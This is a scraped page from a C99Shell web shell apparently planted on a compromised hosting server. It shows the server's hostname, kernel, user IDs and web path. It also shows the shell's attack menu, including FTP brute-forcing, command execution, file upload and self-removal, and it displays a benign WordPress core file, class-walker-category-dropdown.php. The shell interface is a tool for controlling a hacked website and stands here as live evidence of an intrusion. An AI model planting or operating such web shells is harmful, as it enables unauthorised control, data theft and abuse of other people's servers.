!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/   drwxr-xr-x
Free 183.07 GB of 490.84 GB (37.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-walker-category-dropdown.php (2.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Taxonomy API: Walker_CategoryDropdown class
 *
 * @package WordPress
 * @subpackage Template
 * @since 4.4.0
 */

/**
 * Core class used to create an HTML dropdown list of Categories.
 *
 * @since 2.1.0
 *
 * @see Walker
 */
class Walker_CategoryDropdown extends Walker {

    
/**
     * What the class handles.
     *
     * @since 2.1.0
     * @access private
     * @var string
     *
     * @see Walker::$tree_type
     */
    
public $tree_type 'category';

    
/**
     * Database fields to use.
     *
     * @since 2.1.0
     * @access public
     * @todo Decouple this
     * @var array
     *
     * @see Walker::$db_fields
     */
    
public $db_fields = array ('parent' => 'parent''id' => 'term_id');

    
/**
     * Starts the element output.
     *
     * @since 2.1.0
     * @access public
     *
     * @see Walker::start_el()
     *
     * @param string $output   Passed by reference. Used to append additional content.
     * @param object $category Category data object.
     * @param int    $depth    Depth of category. Used for padding.
     * @param array  $args     Uses 'selected', 'show_count', and 'value_field' keys, if they exist.
     *                         See wp_dropdown_categories().
     * @param int    $id       Optional. ID of the current category. Default 0 (unused).
     */
    
public function start_el( &$output$category$depth 0$args = array(), $id ) {
        
$pad str_repeat('&nbsp;'$depth 3);

        
/** This filter is documented in wp-includes/category-template.php */
        
$cat_name apply_filters'list_cats'$category->name$category );

        if ( isset( 
$args['value_field'] ) && isset( $category->{$args['value_field']} ) ) {
            
$value_field $args['value_field'];
        } else {
            
$value_field 'term_id';
        }

        
$output .= "\t<option class=\"level-$depth\" value=\"" esc_attr$category->{$value_field} ) . "\"";

        
// Type-juggling causes false matches, so we force everything to a string.
        
if ( (string) $category->{$value_field} === (string) $args['selected'] )
            
$output .= ' selected="selected"';
        
$output .= '>';
        
$output .= $pad.$cat_name;
        if ( 
$args['show_count'] )
            
$output .= '&nbsp;&nbsp;('number_format_i18n$category->count ) .')';
        
$output .= "</option>\n";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0163 ]--